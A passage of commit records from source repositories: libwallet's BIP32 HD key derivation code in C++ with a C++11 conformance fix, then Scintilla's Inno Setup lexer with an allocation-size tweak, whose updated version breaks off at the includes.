key.public_key();\n}\n\n\/**\n * Corresponds to a split HMAC-SHA256 result, as used in BIP 32.\n *\/\nstruct split_hmac {\n    std::array<uint8_t, 32> IL;\n    std::array<uint8_t, 32> IR;\n};\nstatic split_hmac hmac_sha512(const void* key, int key_len, const data_chunk& data)\n{\n    std::array<uint8_t, 64> hmac;\n    HMAC(EVP_sha512(), key, key_len, data.data(), data.size(),\n        hmac.data(), nullptr);\n    split_hmac I;\n    std::copy(hmac.begin(), hmac.begin() + 32, I.IL.begin());\n    std::copy(hmac.begin() + 32, hmac.end(), I.IR.begin());\n    return I;\n}\n\nstatic ser32_type ser32(uint32_t i)\n{\n    ser32_type out;\n    out[0] = 0xff & (i >> 24);\n    out[1] = 0xff & (i >> 16);\n    out[2] = 0xff & (i >> 8);\n    out[3] = 0xff & i;\n    return out;\n}\n\nhd_public_key::hd_public_key()\n  : valid_(false)\n{\n}\n\nhd_public_key::hd_public_key(const data_chunk& public_key,\n    const chain_code_type& chain_code, hd_key_lineage lineage)\n  : valid_(true), K_(public_key), c_(chain_code), lineage_(lineage)\n{\n}\n\nbool hd_public_key::valid() const\n{\n    return valid_;\n}\n\nconst data_chunk& hd_public_key::public_key() const\n{\n    return K_;\n}\n\nconst chain_code_type& hd_public_key::chain_code() const\n{\n    return c_;\n}\n\nconst hd_key_lineage& hd_public_key::lineage() const\n{\n    return lineage_;\n}\n\nstd::string hd_public_key::serialize() const\n{\n    data_chunk data;\n    data.reserve(4 + 1 + 4 + 4 + 32 + 33 + 4);\n\n    extend_data(data, ser32(lineage_.testnet ?\n        testnet_public_prefix : mainnet_public_prefix));\n    data.push_back(lineage_.depth);\n    extend_data(data, lineage_.parent_fingerprint);\n    extend_data(data, ser32(lineage_.child_number));\n    extend_data(data, c_);\n    extend_data(data, K_);\n\n    extend_data(data, uncast_type(generate_sha256_checksum(data)));\n    return encode_base58(data);\n}\n\nser32_type hd_public_key::fingerprint() const\n{\n    short_hash md = generate_ripemd_hash(K_);\n    return ser32_type{md[0], md[1], md[2], md[3]};\n}\n\npayment_address hd_public_key::address() const\n{\n    payment_address address;\n    set_public_key(address, K_);\n    return address;\n}\n\nhd_public_key hd_public_key::generate_public_key(uint32_t i)\n{\n    if (!valid_)\n        return hd_private_key();\n    if (first_hardened_key <= i)\n        return hd_public_key();\n\n    data_chunk data;\n    data.reserve(33 + 4);\n    extend_data(data, K_);\n    extend_data(data, ser32(i));\n    auto I = hmac_sha512(c_.data(), c_.size(), data);\n\n    \/\/The returned child key Ki is point(parse256(IL)) + Kpar.\n    ssl_ec_group group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n    if (!group)\n        return hd_public_key();\n    ssl_bn_ctx ctx = BN_CTX_new();\n    ssl_ec_point Ki = EC_POINT_new(group);\n    ssl_ec_point Kpar = EC_POINT_new(group);\n    ssl_ec_point IL = EC_POINT_new(group);\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (!ctx || !Ki || !Kpar || !IL || !il || !n)\n        return hd_public_key();\n    if (!EC_POINT_oct2point(group, Kpar, K_.data(), K_.size(), ctx))\n        return hd_public_key();\n    if (!EC_POINT_mul(group, IL, il, nullptr, nullptr, ctx))\n        return hd_public_key();\n    if (!EC_POINT_add(group, Ki, IL, Kpar, ctx))\n        return hd_public_key();\n\n    \/\/ The key is invalid if parse256(IL) >= n or Ki is at infinity:\n    if (0 <= BN_cmp(il, n) || EC_POINT_is_at_infinity(group, Ki))\n        return hd_private_key();\n\n    size_t Ki_size = EC_POINT_point2oct(group, Ki,\n        POINT_CONVERSION_COMPRESSED, NULL, 0, ctx);\n    data_chunk out(Ki_size);\n    if (!EC_POINT_point2oct(group, Ki,\n        POINT_CONVERSION_COMPRESSED, out.data(), out.size(), ctx))\n        return hd_public_key();\n\n    return hd_public_key(out, I.IR, hd_key_lineage{lineage_.testnet,\n        static_cast<uint8_t>(lineage_.depth + 1), fingerprint(), i});\n}\n\nhd_private_key::hd_private_key()\n  : hd_public_key()\n{\n}\n\nhd_private_key::hd_private_key(const secret_parameter& private_key,\n    const chain_code_type& chain_code, hd_key_lineage lineage)\n  : hd_public_key(secret_to_public_key(private_key), chain_code, lineage),\n    k_(private_key)\n{\n}\n\nhd_private_key::hd_private_key(const data_chunk& seed, bool testnet)\n  : hd_public_key()\n{\n    const char hmac_key[] = \"Bitcoin seed\";\n    split_hmac I = hmac_sha512(hmac_key, strlen(hmac_key), seed);\n\n    \/\/ The key is invalid if parse256(IL) >= n or 0:\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (0 <= BN_cmp(il, n) || BN_is_zero(il.ptr))\n        return;\n\n    *this = hd_private_key(I.IL, I.IR, hd_key_lineage{testnet, 0, {0}, 0});\n}\n\nconst secret_parameter& hd_private_key::private_key() const\n{\n    return k_;\n}\n\nstd::string hd_private_key::serialize() const\n{\n    data_chunk data;\n    data.reserve(4 + 1 + 4 + 4 + 32 + 33 + 4);\n\n    extend_data(data, ser32(lineage_.testnet ?\n        testnet_private_prefix : mainnet_private_prefix));\n    data.push_back(lineage_.depth);\n    extend_data(data, lineage_.parent_fingerprint);\n    extend_data(data, ser32(lineage_.child_number));\n    extend_data(data, c_);\n    data.push_back(0x00);\n    extend_data(data, k_);\n\n    extend_data(data, uncast_type(generate_sha256_checksum(data)));\n    return encode_base58(data);\n}\n\nhd_private_key hd_private_key::generate_private_key(uint32_t i)\n{\n    if (!valid_)\n        return hd_private_key();\n\n    data_chunk data;\n    data.reserve(33 + 4);\n    if (first_hardened_key <= i)\n    {\n        data.push_back(0x00);\n        extend_data(data, k_);\n        extend_data(data, ser32(i));\n    }\n    else\n    {\n        extend_data(data, K_);\n        extend_data(data, ser32(i));\n    }\n    auto I = hmac_sha512(c_.data(), c_.size(), data);\n\n    \/\/ The child key ki is (parse256(IL) + kpar) mod n:\n    ssl_bn_ctx ctx = BN_CTX_new();\n    ssl_bignum ki = BN_new();\n    ssl_bignum kpar = BN_bin2bn(k_.data(), k_.size(), nullptr);\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (!ctx || !ki || !kpar || !il || !n)\n        return hd_private_key();\n    if (!BN_mod_add(ki, kpar, il, n, ctx))\n        return hd_private_key();\n\n    \/\/ The key is invalid if parse256(IL) >= n or ki == 0:\n    if (0 <= BN_cmp(il, n) || BN_is_zero(ki.ptr))\n        return hd_private_key();\n\n    secret_parameter out{{0}};\n    int ki_size = BN_num_bytes(ki);\n    if (ki_size != BN_bn2bin(ki, &out[out.size() - ki_size]))\n        return hd_private_key();\n\n    return hd_private_key(out, I.IR, hd_key_lineage{lineage_.testnet,\n        static_cast<uint8_t>(lineage_.depth + 1), fingerprint(), i});\n}\n\nhd_public_key hd_private_key::generate_public_key(uint32_t i)\n{\n    return generate_private_key(i);\n}\n\n} \/\/ libwallet\n\n<commit_msg>Fix C++11 language violations<commit_after>\/*\n * Copyright (c) 2011-2013 libwallet developers (see AUTHORS)\n *\n * This file is part of libwallet.\n *\n * libwallet is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <wallet\/hd_keys.hpp>\n\n#include <algorithm>\n#include <openssl\/bn.h>\n#include <openssl\/hmac.h>\n#include <bitcoin\/format.hpp>\n#include <bitcoin\/utility\/base58.hpp>\n#include <bitcoin\/utility\/ripemd.hpp>\n#include <bitcoin\/utility\/sha256.hpp>\n\nnamespace libwallet {\n\ntemplate<typename T, void destroy(T* p)>\nclass auto_free\n{\npublic:\n    auto_free(T* p)\n      : ptr(p)\n    {}\n    ~auto_free()\n    {\n        destroy(ptr);\n    }\n    operator T*()\n    {\n        return ptr;\n    }\n    T* ptr;\n};\ntypedef auto_free<BIGNUM, BN_free> ssl_bignum;\ntypedef auto_free<BN_CTX, BN_CTX_free> ssl_bn_ctx;\ntypedef auto_free<EC_GROUP, EC_GROUP_free> ssl_ec_group;\ntypedef auto_free<EC_POINT, EC_POINT_free> ssl_ec_point;\n\nconstexpr uint32_t mainnet_private_prefix = 0x0488ADE4;\nconstexpr uint32_t mainnet_public_prefix  = 0x0488B21E;\nconstexpr uint32_t testnet_private_prefix = 0x04358394;\nconstexpr uint32_t testnet_public_prefix  = 0x043587CF;\n\nsecret_parameter secp256k1_n{{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,\n                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe,\n                              0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b,\n                              0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x41}};\n\nstatic data_chunk secret_to_public_key(const secret_parameter& secret)\n{\n    elliptic_curve_key key;\n    key.set_secret(secret, true);\n    return key.public_key();\n}\n\n\/**\n * Corresponds to a split HMAC-SHA256 result, as used in BIP 32.\n *\/\nstruct split_hmac {\n    std::array<uint8_t, 32> IL;\n    std::array<uint8_t, 32> IR;\n};\nstatic split_hmac hmac_sha512(const void* key, int key_len, const data_chunk& data)\n{\n    std::array<uint8_t, 64> hmac;\n    HMAC(EVP_sha512(), key, key_len, data.data(), data.size(),\n        hmac.data(), nullptr);\n    split_hmac I;\n    std::copy(hmac.begin(), hmac.begin() + 32, I.IL.begin());\n    std::copy(hmac.begin() + 32, hmac.end(), I.IR.begin());\n    return I;\n}\n\nstatic ser32_type ser32(uint32_t i)\n{\n    ser32_type out;\n    out[0] = 0xff & (i >> 24);\n    out[1] = 0xff & (i >> 16);\n    out[2] = 0xff & (i >> 8);\n    out[3] = 0xff & i;\n    return out;\n}\n\nhd_public_key::hd_public_key()\n  : valid_(false)\n{\n}\n\nhd_public_key::hd_public_key(const data_chunk& public_key,\n    const chain_code_type& chain_code, hd_key_lineage lineage)\n  : valid_(true), K_(public_key), c_(chain_code), lineage_(lineage)\n{\n}\n\nbool hd_public_key::valid() const\n{\n    return valid_;\n}\n\nconst data_chunk& hd_public_key::public_key() const\n{\n    return K_;\n}\n\nconst chain_code_type& hd_public_key::chain_code() const\n{\n    return c_;\n}\n\nconst hd_key_lineage& hd_public_key::lineage() const\n{\n    return lineage_;\n}\n\nstd::string hd_public_key::serialize() const\n{\n    data_chunk data;\n    data.reserve(4 + 1 + 4 + 4 + 32 + 33 + 4);\n\n    extend_data(data, ser32(lineage_.testnet ?\n        testnet_public_prefix : mainnet_public_prefix));\n    data.push_back(lineage_.depth);\n    extend_data(data, lineage_.parent_fingerprint);\n    extend_data(data, ser32(lineage_.child_number));\n    extend_data(data, c_);\n    extend_data(data, K_);\n\n    extend_data(data, uncast_type(generate_sha256_checksum(data)));\n    return encode_base58(data);\n}\n\nser32_type hd_public_key::fingerprint() const\n{\n    short_hash md = generate_ripemd_hash(K_);\n    return ser32_type{{md[0], md[1], md[2], md[3]}};\n}\n\npayment_address hd_public_key::address() const\n{\n    payment_address address;\n    set_public_key(address, K_);\n    return address;\n}\n\nhd_public_key hd_public_key::generate_public_key(uint32_t i)\n{\n    if (!valid_)\n        return hd_private_key();\n    if (first_hardened_key <= i)\n        return hd_public_key();\n\n    data_chunk data;\n    data.reserve(33 + 4);\n    extend_data(data, K_);\n    extend_data(data, ser32(i));\n    auto I = hmac_sha512(c_.data(), c_.size(), data);\n\n    \/\/The returned child key Ki is point(parse256(IL)) + Kpar.\n    ssl_ec_group group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n    if (!group)\n        return hd_public_key();\n    ssl_bn_ctx ctx = BN_CTX_new();\n    ssl_ec_point Ki = EC_POINT_new(group);\n    ssl_ec_point Kpar = EC_POINT_new(group);\n    ssl_ec_point IL = EC_POINT_new(group);\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (!ctx || !Ki || !Kpar || !IL || !il || !n)\n        return hd_public_key();\n    if (!EC_POINT_oct2point(group, Kpar, K_.data(), K_.size(), ctx))\n        return hd_public_key();\n    if (!EC_POINT_mul(group, IL, il, nullptr, nullptr, ctx))\n        return hd_public_key();\n    if (!EC_POINT_add(group, Ki, IL, Kpar, ctx))\n        return hd_public_key();\n\n    \/\/ The key is invalid if parse256(IL) >= n or Ki is at infinity:\n    if (0 <= BN_cmp(il, n) || EC_POINT_is_at_infinity(group, Ki))\n        return hd_private_key();\n\n    size_t Ki_size = EC_POINT_point2oct(group, Ki,\n        POINT_CONVERSION_COMPRESSED, NULL, 0, ctx);\n    data_chunk out(Ki_size);\n    if (!EC_POINT_point2oct(group, Ki,\n        POINT_CONVERSION_COMPRESSED, out.data(), out.size(), ctx))\n        return hd_public_key();\n\n    return hd_public_key(out, I.IR, hd_key_lineage{lineage_.testnet,\n        static_cast<uint8_t>(lineage_.depth + 1), fingerprint(), i});\n}\n\nhd_private_key::hd_private_key()\n  : hd_public_key()\n{\n}\n\nhd_private_key::hd_private_key(const secret_parameter& private_key,\n    const chain_code_type& chain_code, hd_key_lineage lineage)\n  : hd_public_key(secret_to_public_key(private_key), chain_code, lineage),\n    k_(private_key)\n{\n}\n\nhd_private_key::hd_private_key(const data_chunk& seed, bool testnet)\n  : hd_public_key()\n{\n    const char hmac_key[] = \"Bitcoin seed\";\n    split_hmac I = hmac_sha512(hmac_key, strlen(hmac_key), seed);\n\n    \/\/ The key is invalid if parse256(IL) >= n or 0:\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (0 <= BN_cmp(il, n) || BN_is_zero(il.ptr))\n        return;\n\n    *this = hd_private_key(I.IL, I.IR, hd_key_lineage{testnet, 0, {{0}}, 0});\n}\n\nconst secret_parameter& hd_private_key::private_key() const\n{\n    return k_;\n}\n\nstd::string hd_private_key::serialize() const\n{\n    data_chunk data;\n    data.reserve(4 + 1 + 4 + 4 + 32 + 33 + 4);\n\n    extend_data(data, ser32(lineage_.testnet ?\n        testnet_private_prefix : mainnet_private_prefix));\n    data.push_back(lineage_.depth);\n    extend_data(data, lineage_.parent_fingerprint);\n    extend_data(data, ser32(lineage_.child_number));\n    extend_data(data, c_);\n    data.push_back(0x00);\n    extend_data(data, k_);\n\n    extend_data(data, uncast_type(generate_sha256_checksum(data)));\n    return encode_base58(data);\n}\n\nhd_private_key hd_private_key::generate_private_key(uint32_t i)\n{\n    if (!valid_)\n        return hd_private_key();\n\n    data_chunk data;\n    data.reserve(33 + 4);\n    if (first_hardened_key <= i)\n    {\n        data.push_back(0x00);\n        extend_data(data, k_);\n        extend_data(data, ser32(i));\n    }\n    else\n    {\n        extend_data(data, K_);\n        extend_data(data, ser32(i));\n    }\n    auto I = hmac_sha512(c_.data(), c_.size(), data);\n\n    \/\/ The child key ki is (parse256(IL) + kpar) mod n:\n    ssl_bn_ctx ctx = BN_CTX_new();\n    ssl_bignum ki = BN_new();\n    ssl_bignum kpar = BN_bin2bn(k_.data(), k_.size(), nullptr);\n    ssl_bignum il = BN_bin2bn(I.IL.data(), I.IL.size(), nullptr);\n    ssl_bignum n = BN_bin2bn(secp256k1_n.data(), secp256k1_n.size(), nullptr);\n    if (!ctx || !ki || !kpar || !il || !n)\n        return hd_private_key();\n    if (!BN_mod_add(ki, kpar, il, n, ctx))\n        return hd_private_key();\n\n    \/\/ The key is invalid if parse256(IL) >= n or ki == 0:\n    if (0 <= BN_cmp(il, n) || BN_is_zero(ki.ptr))\n        return hd_private_key();\n\n    secret_parameter out{{0}};\n    int ki_size = BN_num_bytes(ki);\n    if (ki_size != BN_bn2bin(ki, &out[out.size() - ki_size]))\n        return hd_private_key();\n\n    return hd_private_key(out, I.IR, hd_key_lineage{lineage_.testnet,\n        static_cast<uint8_t>(lineage_.depth + 1), fingerprint(), i});\n}\n\nhd_public_key hd_private_key::generate_public_key(uint32_t i)\n{\n    return generate_private_key(i);\n}\n\n} \/\/ libwallet\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexInno.cxx\n ** Lexer for Inno Setup scripts.\n **\/\n\/\/ Written by Friedrich Vedder <fvedd@t-online.de>, using code from LexOthers.cxx.\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic void ColouriseInnoDoc(Sci_PositionU startPos, Sci_Position length, int, WordList *keywordLists[], Accessor &styler) {\n\tint state = SCE_INNO_DEFAULT;\n\tchar chPrev;\n\tchar ch = 0;\n\tchar chNext = styler[startPos];\n\tSci_Position lengthDoc = startPos + length;\n\tchar *buffer = new char[length];\n\tSci_Position bufferCount = 0;\n\tbool isBOL, isEOL, isWS, isBOLWS = 0;\n\tbool isCStyleComment = false;\n\n\tWordList &sectionKeywords = *keywordLists[0];\n\tWordList &standardKeywords = *keywordLists[1];\n\tWordList &parameterKeywords = *keywordLists[2];\n\tWordList &preprocessorKeywords = *keywordLists[3];\n\tWordList &pascalKeywords = *keywordLists[4];\n\tWordList &userKeywords = *keywordLists[5];\n\n\tSci_Position curLine = styler.GetLine(startPos);\n\tint curLineState = curLine > 0 ? styler.GetLineState(curLine - 1) : 0;\n\tbool isCode = (curLineState == 1);\n\n\t\/\/ Go through all provided text segment\n\t\/\/ using the hand-written state machine shown below\n\tstyler.StartAt(startPos);\n\tstyler.StartSegment(startPos);\n\tfor (Sci_Position i = startPos; i < lengthDoc; i++) {\n\t\tchPrev = ch;\n\t\tch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif (styler.IsLeadByte(ch)) {\n\t\t\tchNext = styler.SafeGetCharAt(i + 2);\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tisBOL = (chPrev == 0) || (chPrev == '\\n') || (chPrev == '\\r' && ch != '\\n');\n\t\tisBOLWS = (isBOL) ? 1 : (isBOLWS && (chPrev == ' ' || chPrev == '\\t'));\n\t\tisEOL = (ch == '\\n' || ch == '\\r');\n\t\tisWS = (ch == ' ' || ch == '\\t');\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n')) {\n\t\t\t\/\/ Remember the line state for future incremental lexing\n\t\t\tcurLine = styler.GetLine(i);\n\t\t\tstyler.SetLineState(curLine, (isCode ? 1 : 0));\n\t\t}\n\n\t\tswitch(state) {\n\t\t\tcase SCE_INNO_DEFAULT:\n\t\t\t\tif (!isCode && ch == ';' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a comment\n\t\t\t\t\tstate = SCE_INNO_COMMENT;\n\t\t\t\t} else if (ch == '[' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a section name\n\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tstate = SCE_INNO_SECTION;\n\t\t\t\t} else if (ch == '#' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a preprocessor directive\n\t\t\t\t\tstate = SCE_INNO_PREPROC;\n\t\t\t\t} else if (!isCode && ch == '{' && chNext != '{' && chPrev != '{') {\n\t\t\t\t\t\/\/ Start of an inline expansion\n\t\t\t\t\tstate = SCE_INNO_INLINE_EXPANSION;\n\t\t\t\t} else if (isCode && (ch == '{' || (ch == '(' && chNext == '*'))) {\n\t\t\t\t\t\/\/ Start of a Pascal comment\n\t\t\t\t\tstate = SCE_INNO_COMMENT_PASCAL;\n\t\t\t\t\tisCStyleComment = false;\n\t\t\t\t} else if (isCode && ch == '\/' && chNext == '\/') {\n\t\t\t\t\t\/\/ Apparently, C-style comments are legal, too\n\t\t\t\t\tstate = SCE_INNO_COMMENT_PASCAL;\n\t\t\t\t\tisCStyleComment = true;\n\t\t\t\t} else if (ch == '\"') {\n\t\t\t\t\t\/\/ Start of a double-quote string\n\t\t\t\t\tstate = SCE_INNO_STRING_DOUBLE;\n\t\t\t\t} else if (ch == '\\'') {\n\t\t\t\t\t\/\/ Start of a single-quote string\n\t\t\t\t\tstate = SCE_INNO_STRING_SINGLE;\n\t\t\t\t} else if (IsASCII(ch) && (isalpha(ch) || (ch == '_'))) {\n\t\t\t\t\t\/\/ Start of an identifier\n\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t\tstate = SCE_INNO_IDENTIFIER;\n\t\t\t\t} else {\n\t\t\t\t\t\/\/ Style it the default style\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_COMMENT:\n\t\t\t\tif (isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_IDENTIFIER:\n\t\t\t\tif (IsASCII(ch) && (isalnum(ch) || (ch == '_'))) {\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t} else {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\/\/ Check if the buffer contains a keyword\n\t\t\t\t\tif (!isCode && standardKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD);\n\t\t\t\t\t} else if (!isCode && parameterKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_PARAMETER);\n\t\t\t\t\t} else if (isCode && pascalKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD_PASCAL);\n\t\t\t\t\t} else if (!isCode && userKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD_USER);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/ Push back the faulty character\n\t\t\t\t\tchNext = styler[i--];\n\t\t\t\t\tch = chPrev;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_SECTION:\n\t\t\t\tif (ch == ']') {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\/\/ Check if the buffer contains a section name\n\t\t\t\t\tif (sectionKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_SECTION);\n\t\t\t\t\t\tisCode = !CompareCaseInsensitive(buffer, \"code\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\t\t\t\t} else if (IsASCII(ch) && (isalnum(ch) || (ch == '_'))) {\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t} else {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_PREPROC:\n\t\t\t\tif (isWS || isEOL) {\n\t\t\t\t\tif (IsASCII(chPrev) && isalpha(chPrev)) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\t\/\/ Check if the buffer contains a preprocessor directive\n\t\t\t\t\t\tif (preprocessorKeywords.InList(buffer)) {\n\t\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_PREPROC);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_DEFAULT);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\/\/ Push back the faulty character\n\t\t\t\t\t\tchNext = styler[i--];\n\t\t\t\t\t\tch = chPrev;\n\t\t\t\t\t}\n\t\t\t\t} else if (IsASCII(ch) && isalpha(ch)) {\n\t\t\t\t\tif (chPrev == '#' || chPrev == ' ' || chPrev == '\\t')\n\t\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_STRING_DOUBLE:\n\t\t\t\tif (ch == '\"' || isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_STRING_DOUBLE);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_STRING_SINGLE:\n\t\t\t\tif (ch == '\\'' || isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_STRING_SINGLE);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_INLINE_EXPANSION:\n\t\t\t\tif (ch == '}') {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_INLINE_EXPANSION);\n\t\t\t\t} else if (isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_COMMENT_PASCAL:\n\t\t\t\tif (isCStyleComment) {\n\t\t\t\t\tif (isEOL) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT_PASCAL);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (ch == '}' || (ch == ')' && chPrev == '*')) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT_PASCAL);\n\t\t\t\t\t} else if (isEOL) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t}\n\t}\n\tdelete []buffer;\n}\n\nstatic const char * const innoWordListDesc[] = {\n\t\"Sections\",\n\t\"Keywords\",\n\t\"Parameters\",\n\t\"Preprocessor directives\",\n\t\"Pascal keywords\",\n\t\"User defined keywords\",\n\t0\n};\n\nstatic void FoldInnoDoc(Sci_PositionU startPos, Sci_Position length, int, WordList *[], Accessor &styler) {\n\tSci_PositionU endPos = startPos + length;\n\tchar chNext = styler[startPos];\n\n\tSci_Position lineCurrent = styler.GetLine(startPos);\n\n\tbool sectionFlag = false;\n\tint levelPrev = lineCurrent > 0 ? styler.LevelAt(lineCurrent - 1) : SC_FOLDLEVELBASE;\n\tint level;\n\n\tfor (Sci_PositionU i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler[i+1];\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tint style = styler.StyleAt(i);\n\n\t\tif (style == SCE_INNO_SECTION)\n\t\t\tsectionFlag = true;\n\n\t\tif (atEOL || i == endPos - 1) {\n\t\t\tif (sectionFlag) {\n\t\t\t\tlevel = SC_FOLDLEVELBASE | SC_FOLDLEVELHEADERFLAG;\n\t\t\t\tif (level == levelPrev)\n\t\t\t\t\tstyler.SetLevel(lineCurrent - 1, levelPrev & ~SC_FOLDLEVELHEADERFLAG);\n\t\t\t} else {\n\t\t\t\tlevel = levelPrev & SC_FOLDLEVELNUMBERMASK;\n\t\t\t\tif (levelPrev & SC_FOLDLEVELHEADERFLAG)\n\t\t\t\t\tlevel++;\n\t\t\t}\n\n\t\t\tstyler.SetLevel(lineCurrent, level);\n\n\t\t\tlevelPrev = level;\n\t\t\tlineCurrent++;\n\t\t\tsectionFlag = false;\n\t\t}\n\t}\n}\n\nLexerModule lmInno(SCLEX_INNOSETUP, ColouriseInnoDoc, \"inno\", FoldInnoDoc, innoWordListDesc);\n<commit_msg>Minor increase in allocation size prevents warning from VC++ analyze.<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexInno.cxx\n ** Lexer for Inno Setup scripts.\n **\/\n\/\/ Written by Friedrich Vedder <fvedd@t-online.de>, using code from LexOthers.cxx.\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include 